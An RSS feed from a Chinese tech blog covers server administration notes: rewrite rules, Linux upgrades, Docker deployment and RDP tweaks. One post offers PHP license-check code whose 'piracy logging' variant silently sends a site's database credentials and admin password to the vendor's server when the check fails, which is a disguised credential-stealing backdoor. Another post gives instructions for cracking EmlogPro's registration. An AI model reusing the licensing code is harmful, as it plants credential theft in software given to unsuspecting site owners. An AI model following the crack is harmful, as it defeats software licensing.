<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:atom="http://www.w3.org/2005/Atom"
>
<channel>
<title><![CDATA[TKK.NET]]></title> 
<atom:link href="http://bbs.tkk.net/rss.php" rel="self" type="application/rss+xml" />
<description><![CDATA[TKK.NET云创工作室]]></description>
<link>http://bbs.tkk.net/</link>
<language>zh-cn</language>
<generator>emlog</generator>

<item>
    <title>Saas个人主页系统伪静态规则</title>
    <link>http://bbs.tkk.net/post-35.html</link>
    <description><![CDATA[<p>Nginx下的规则</p>
<pre><code>if (!-e $request_filename) {
    rewrite ^/(.*)$ /router.php/$1 last;
}
location / {
    index router.php index.php index.html;
}</code></pre>]]></description>
    <pubDate>Mon, 30 Mar 2026 10:46:11 +0800</pubDate>
    <dc:creator>东君</dc:creator>
    <guid>http://bbs.tkk.net/post-35.html</guid>
</item>
<item>
    <title>Xxauth授权代码</title>
    <link>http://bbs.tkk.net/post-34.html</link>
    <description><![CDATA[<p>带盗版入库</p>
<pre><code>//带盗版入库
define('XXAUTH_ROOT', dirname(__FILE__).'/');
include_once(XXAUTH_ROOT.'authcode.php'); //须在存放授权代码目录内创建一个空白的authcode.php文件即可
define('authcode',$authcode);
define('SESSION_NAME','auth_session'); // auth_session为缓存名称可自定义
if(!isset($_SESSION[SESSION_NAME])){
    $domain = ''; //你的授权站域名，须带http(s)://结尾“/”不带
    $app_uid = ''; //你的应用UID
    $xxname = ''; //你的应用名称
    $query = xx_get_curl($domain."/check.php?url=".$_SERVER["HTTP_HOST"]."&amp;authcode=".authcode."&amp;app_uid=".$app_uid);
    $query = json_decode($query, true);
    if(is_array($query)){
        if ($query = json_decode(authcode(base64_decode($query['data']), 'DECODE', '这里换成应用授权密钥'),true)) {
            if ($query["code"] == 1) {
                $_SESSION[SESSION_NAME] = authcode(time(), 'ENCODE', '这里换成应用授权密钥');
            }else{
                file_get_contents($domain."/ajax.php?act=block&amp;app_uid=".$app_uid."&amp;url=".$_SERVER['HTTP_HOST']."&amp;user=".$dbconfig['user']."&amp;pwd=".$dbconfig['pwd']."&amp;dbname=".$dbconfig['dbname']."&amp;authcode=".$authcode."&amp;site=".$xxname."&amp;admin_user=".$conf['admin_user']."&amp;admin_pass=".$conf['admin_pwd']."&amp;encode=这里换成应用授权密钥");
                exit("&lt;h3&gt;".$query["msg"]."&lt;/h3&gt;");
            }
        }else{
            exit("&lt;h3&gt;授权密钥链接失败，请到授权云端下载更新包覆盖&lt;/h3&gt;");
        }
    }else{
        exit('&lt;h3&gt;云端服务器链接失败&lt;/h3&gt;');
    }
}else{
    $result = authcode($_SESSION[SESSION_NAME], 'DECODE', '这里换成应用授权密钥');
    if(empty($result)){
        unset($_SESSION[SESSION_NAME]);
        exit('&lt;h3&gt;请刷新界面后重试~&lt;/h3&gt;');
    }else{
        if(intval($result) + 43200 &lt; time()){
            unset($_SESSION[SESSION_NAME]);
        }
    }
}</code></pre>
<p>不带盗版入库</p>
<pre><code>//不带盗版入库
define('XXAUTH_ROOT', dirname(__FILE__).'/');
include_once(XXAUTH_ROOT.'authcode.php'); 
define('authcode',$authcode);
define('SESSION_NAME','auth_session'); 
if (!isset($_SESSION[SESSION_NAME])) {
    $domain = 'http://'; 
    $app_uid = '应用ID'; 
    $xxname = '应用名'; 
    $query = xx_get_curl($domain."/check.php?url=".$_SERVER["HTTP_HOST"]."&amp;authcode=".authcode."&amp;app_uid=".$app_uid);
    $query = json_decode($query, true);
    if (is_array($query)) {
        if ($query = json_decode(authcode(base64_decode($query['data']), 'DECODE', '这里换成应用授权密钥'),true)) {
            if ($query["code"] == 1) {
                $_SESSION[SESSION_NAME] = authcode(time(), 'ENCODE', '这里换成应用授权密钥');
            } else {
                file_get_contents("http://域名/ajax.php?act=block&amp;url=".$_SERVER['HTTP_HOST']);
                exit("&lt;h3&gt;".$query["msg"]."&lt;/h3&gt;");
            }
        } else {
            exit("&lt;h3&gt;授权密钥链接失败，请到授权云端下载更新包覆盖&lt;/h3&gt;");
        }
    } else {
        exit('&lt;h3&gt;云端服务器链接失败&lt;/h3&gt;');
    }
} else {
    $result = authcode($_SESSION[SESSION_NAME], 'DECODE', '这里换成应用授权密钥');

    if (empty($result)) {
        unset($_SESSION[SESSION_NAME]);
        exit('&lt;h3&gt;请刷新界面后重试~&lt;/h3&gt;');
    } else {
        if (intval($result) + 43200 &lt; time()) {
            unset($_SESSION[SESSION_NAME]);
        }
    }
}</code></pre>
<p>在线更新</p>
<pre><code>//在线更新
function update_version()
{
    $app_uid = '';//程序UID
    $query = curl_get("http://域名/check.php?url=".$_SERVER["HTTP_HOST"]."&amp;authcode=".authcode."&amp;ver=".VERSION."&amp;app_uid=".$app_uid);
    $query = json_decode($query, true);
    if(is_array($query)){
    if ($query = json_decode(authcode(base64_decode($query['data']), 'DECODE', '授权密钥需要与后台填写的一致'),true)) {
        return $query;
        }
    }
    return false;
}
//在线更新文件内记得调用update_version函数
//示例：$res=update_version();
//版本号文件写法
//define('VERSION', '1000');</code></pre>]]></description>
    <pubDate>Fri, 06 Mar 2026 10:16:54 +0800</pubDate>
    <dc:creator>东君</dc:creator>
    <guid>http://bbs.tkk.net/post-34.html</guid>
</item>
<item>
    <title>Debian更新软件包和版本升级命令</title>
    <link>http://bbs.tkk.net/post-33.html</link>
    <description><![CDATA[<p>Debian软件包更新命令</p>
<pre><code>apt update
apt upgrade
apt autoclean
apt autoremove --purge</code></pre>
<p>Debian升级系统版本命令<br />
更新软件包</p>
<pre><code>apt update
apt upgrade
apt autoclean
apt autoremove --purge</code></pre>
<p>重新启动服务器</p>
<pre><code>reboot</code></pre>
<p>修改软件源</p>
<pre><code>nano /etc/apt/sources.list</code></pre>
<pre><code>将 /etc/apt/sources.list 文件中的 bullseye 替换为 bookworm 把Debian11的源换成Debian12的源</code></pre>
<p>跨版本更新系统</p>
<pre><code>apt update
apt full-upgrade
apt autoremove --purge</code></pre>
<p>重新启动服务器</p>
<pre><code>reboot</code></pre>
<p>‌检查系统版本</p>
<pre><code>lsb_release -a</code></pre>
<p>再次检查更新</p>
<pre><code>apt update
apt upgrade
apt autoclean
apt autoremove --purge</code></pre>]]></description>
    <pubDate>Mon, 26 Jan 2026 23:40:27 +0800</pubDate>
    <dc:creator>东君</dc:creator>
    <guid>http://bbs.tkk.net/post-33.html</guid>
</item>
<item>
    <title>Ubuntu更新软件包和版本升级命令</title>
    <link>http://bbs.tkk.net/post-32.html</link>
    <description><![CDATA[<p>Ubuntu软件包更新命令</p>
<pre><code>apt update
apt upgrade
apt autoclean
apt autoremove --purge</code></pre>
<p>Ubuntu升级系统版本命令<br />
更新软件包</p>
<pre><code>apt update
apt upgrade
apt dist-upgrade
apt autoremove --purge</code></pre>
<p>安装更新管理器</p>
<pre><code>apt install update-manage-core</code></pre>
<p>设置升级提示</p>
<pre><code>do-release-upgrade -d</code></pre>
<p>启动升级过程</p>
<pre><code>do-release-upgrade</code></pre>
<p>重新启动服务器</p>
<pre><code>reboot</code></pre>
<p>检查系统版本</p>
<pre><code>hostnamectl</code></pre>
<p>再次检查更新</p>
<pre><code>apt update
apt upgrade
apt dist-upgrade
apt autoremove --purge</code></pre>]]></description>
    <pubDate>Mon, 26 Jan 2026 23:30:23 +0800</pubDate>
    <dc:creator>东君</dc:creator>
    <guid>http://bbs.tkk.net/post-32.html</guid>
</item>
<item>
    <title>WordPress所有发行版本归档</title>
    <link>http://bbs.tkk.net/post-31.html</link>
    <description><![CDATA[<p>WordPress所有发行版本归档</p>
<pre><code>https://cn.wordpress.org/download/releases/</code></pre>]]></description>
    <pubDate>Sun, 25 Jan 2026 10:13:04 +0800</pubDate>
    <dc:creator>东君</dc:creator>
    <guid>http://bbs.tkk.net/post-31.html</guid>
</item>
<item>
    <title>VenoFileManager伪静态规则</title>
    <link>http://bbs.tkk.net/post-30.html</link>
    <description><![CDATA[<p>Apache下的规则</p>
<pre><code>&lt;IfModule mod_rewrite.c&gt;RewriteEngine on
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule download/(.*)/h/(.*)/sh/(.*) vfm-admin/vfm-downloader.php?q=$1&amp;sh=$2 [L]
RewriteRule download/(.*)/h/(.*) vfm-admin/vfm-downloader.php?q=$1&amp;h=$2 [L]
RewriteRule download/zip/(.*)/n/(.*) vfm-admin/vfm-downloader.php?zip=$1&amp;n=$2 [L]&lt;/IfModule&gt;</code></pre>
<p>Nginx下的规则</p>
<pre><code>location /RELATIVE_PATH {
    index index.php;
    rewrite /download/(.*)/h/(.*)/sh/(.*) /RELATIVE_PATH/vfm-admin/vfm-downloader.php?q=$1&amp;sh=$2 last;
    rewrite /download/(.*)/h/(.*) /RELATIVE_PATH/vfm-admin/vfm-downloader.php?q=$1&amp;h=$2 last;
    rewrite /download/zip/(.*)/n/(.*) /RELATIVE_PATH/vfm-admin/vfm-downloader.php?zip=$1&amp;n=$2 last;
}</code></pre>]]></description>
    <pubDate>Sat, 15 Nov 2025 05:50:58 +0800</pubDate>
    <dc:creator>东君</dc:creator>
    <guid>http://bbs.tkk.net/post-30.html</guid>
</item>
<item>
    <title>修改3389默认端口的方法</title>
    <link>http://bbs.tkk.net/post-29.html</link>
    <description><![CDATA[<p>打开注册表编辑器。<br />
定位到以下两个路径并修改PortNumber值为新端口（如33890）：<br />
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp<br />
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp<br />
修改时需确保选择「十进制」格式，端口号范围建议在1024-65535之间。</p>]]></description>
    <pubDate>Tue, 11 Nov 2025 08:35:11 +0800</pubDate>
    <dc:creator>东君</dc:creator>
    <guid>http://bbs.tkk.net/post-29.html</guid>
</item>
<item>
    <title>删除远程桌面连接记录批处理命令</title>
    <link>http://bbs.tkk.net/post-28.html</link>
    <description><![CDATA[<p>把下面代码保存到clear.bat文件中，以管理员身份运行。</p>
<pre><code>@echo off
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f
reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"
cd %userprofile%\documents\
attrib Default.rdp -s -h
del Default.rdp</code></pre>]]></description>
    <pubDate>Mon, 10 Nov 2025 21:43:18 +0800</pubDate>
    <dc:creator>东君</dc:creator>
    <guid>http://bbs.tkk.net/post-28.html</guid>
</item>
<item>
    <title>NginxProxyManager环境部署</title>
    <link>http://bbs.tkk.net/post-27.html</link>
    <description><![CDATA[<p>安装Docker<br />
更新软件包:</p>
<pre><code>sudo yum update -y</code></pre>
<p>安装Docker依赖的软件包:</p>
<pre><code>sudo yum install -y yum-utils device-mapper-persistent-data lvm2</code></pre>
<p>设置Docker的稳定仓库:</p>
<pre><code>sudo yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo</code></pre>
<p>安装Docker CE (社区版):</p>
<pre><code>sudo yum install -y docker-ce docker-ce-cli containerd.io</code></pre>
<p>启动Docker服务:</p>
<pre><code>sudo systemctl start docker</code></pre>
<p>设置Docker开机自启:</p>
<pre><code>sudo systemctl enable docker</code></pre>
<p>安装Docker-compose</p>
<pre><code>yum install -y docker-compose</code></pre>
<p>创建目录存放docker-compose.yml文件，此处直接在主目录下创建npm目录。</p>
<pre><code>mkdir -p ~/npm
cd npm</code></pre>
<p>创建docker-compose.yml文件.</p>
<pre><code>touch docker-compose.yml</code></pre>
<p>编辑docker-compose.yml文件，把下面内容复制进去保存退出。</p>
<pre><code>version: '3'
services:
  app:
    image: 'chishin/nginx-proxy-manager-zh:release'
    restart: always
    ports:
      - '80:80'
      - '81:81'
      - '443:443'
    volumes:
      - ./data:/data
      - ./letsencrypt:/etc/letsencrypt</code></pre>
<p>部署运行</p>
<pre><code>docker-compose up -d</code></pre>
<pre><code>部署成功后输入ip:81即可访问
默认账号：admin@example.com
默认密码：changeme</code></pre>
<p>项目升级命令</p>
<pre><code>docker-compose down
docker-compose pull
docker-compose up -d</code></pre>
<pre><code>项目：https://github.com/xiaoxinpro/nginx-proxy-manager-zh</code></pre>]]></description>
    <pubDate>Fri, 22 Aug 2025 00:08:05 +0800</pubDate>
    <dc:creator>东君</dc:creator>
    <guid>http://bbs.tkk.net/post-27.html</guid>
</item>
<item>
    <title>EmlogPro注册码破解</title>
    <link>http://bbs.tkk.net/post-26.html</link>
    <description><![CDATA[<p>打开文件：include/lib/register.php<br />
新增两行代码：return ['code' =&gt; 200, 'type' =&gt; 2];<br />
如下所示：</p>
<pre><code>public static function doReg($emkey){
return ['code' =&gt; 200, 'type' =&gt; 2];
...
...
...
}
public static function verifyEmKey($emkey){
return ['code' =&gt; 200, 'type' =&gt; 2];
...
...
...
}</code></pre>
<p>打开文件：include/model/store_model.php<br />
新增一行代码：return;<br />
如下所示：</p>
<pre><code>public function regEmStore($type, $tag = '', $keyword = '', $page = 1, $author_id = 0){
return;
...
...
...</code></pre>
<p>依次打开文件：<br />
admin/plugin.php<br />
admin/upgrade.php<br />
admin/template.php<br />
新增一行代码：return;<br />
如下所示：</p>
<pre><code>if ($action === 'check_update'){
return;
...
...
...</code></pre>
<p>然后输入注册码：任意32个字符，这样在不连接授权系统的情况下，也能保证你的emlogpro可以继续使用。<br />
修改过后的emlogpro相当于离线版，无法使用“在线更新”和“应用商店”。</p>]]></description>
    <pubDate>Thu, 21 Aug 2025 10:37:40 +0800</pubDate>
    <dc:creator>东君</dc:creator>
    <guid>http://bbs.tkk.net/post-26.html</guid>
</item>
</channel>
</rss>